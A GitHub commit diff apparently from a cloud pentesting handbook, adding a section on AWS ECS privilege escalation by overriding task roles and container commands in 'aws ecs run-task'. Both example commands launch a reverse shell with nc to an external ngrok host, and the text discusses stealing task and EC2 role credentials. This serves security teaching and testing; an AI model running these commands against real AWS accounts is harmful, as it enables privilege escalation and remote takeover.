Skip to content

Commit e0e551b

Browse files
authored
Merge pull request #205 from Fake1Sback/ecs-run-task-privesc-details
ecs run-task privesc method as a separate section
2 parents 12149ac + 80f8c6d commit e0e551b

File tree

1 file changed

+51
-1
lines changed

1 file changed

+51
-1
lines changed

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md

Lines changed: 51 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -79,6 +79,56 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
7979

8080
**Potential Impact:** Direct privesc to a different ECS role.
8181

82+
### `iam:PassRole`,`ecs:RunTask`
83+
An attacker that has `iam:PassRole` and `ecs:RunTask` permissions can start a new ECS task with modified **execution role**, **task role** and container's **command** values. The `ecs run-task` CLI command contains the `--overrides` flag which allows changing at runtime the `executionRoleArn`, `taskRoleArn` and container's `command` without touching the task definition.
84+
85+
The specified IAM roles for `taskRoleArn` and `executionRoleArn` must trust/allow to be assumed by the `ecs-tasks.amazonaws.com` in its trust policy.
86+
87+
Also, the attacker needs to know:
88+
- ECS cluster name
89+
- VPC Subnet
90+
- Security group (If no security group is specified the default one will be used)
91+
- Task Definition Name and revision
92+
- Name of the Container
93+
94+
```bash
95+
aws ecs run-task \
96+
--cluster <cluster-name> \
97+
--launch-type FARGATE \
98+
--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
99+
--task-definition <task-definition:revision> \
100+
--overrides '
101+
{
102+
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
103+
"containerOverrides": [
104+
{
105+
"name": <container-name>,
106+
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
107+
}
108+
]
109+
}'
110+
```
111+
112+
In the code snippet above an attacker overrides only `taskRoleArn` value. However, the attacker must have `iam:PassRole` permission over the `taskRoleArn` specified in the command and the `executionRoleArn` specified in the task definition for the attack to happen.
113+
114+
If the IAM role that the attacker can pass has enough privileges to pull to ECR image and start the ECS task (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) then the attacker can specify the same IAM role for both `executionRoleArn` and `taskRoleArn` in the `ecs run-task` command.
115+
116+
```sh
117+
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
118+
{
119+
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
120+
"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
121+
"containerOverrides": [
122+
{
123+
"name": "<container-name>",
124+
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
125+
}
126+
]
127+
}'
128+
```
129+
130+
**Potential Impact:** Direct privesc to any ECS task role.
131+
82132
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
83133

84134
Just like in the previous example an attacker abusing the **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** permissions in ECS can **generate a new task definition** with a **malicious container** that steals the metadata credentials and **run it**.\
@@ -149,7 +199,7 @@ aws ecs run-task \
149199

150200
This scenario is like the previous ones but **without** the **`iam:PassRole`** permission.\
151201
This is still interesting because if you can run an arbitrary container, even if it's without a role, you could **run a privileged container to escape** to the node and **steal the EC2 IAM role** and the **other ECS containers roles** running in the node.\
152-
You could even **force other tasks to run inside the EC2 instance** you compromise to steal their credentials (as discussed in the [**Privesc to node section**](aws-ecs-privesc.md#privesc-to-node)).
202+
You could even **force other tasks to run inside the EC2 instance** you compromise to steal their credentials (as discussed in the [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)).
153203

154204
> [!WARNING]
155205
> This attack is only possible if the **ECS cluster is using EC2** instances and not Fargate.

0 commit comments

Comments
 (0)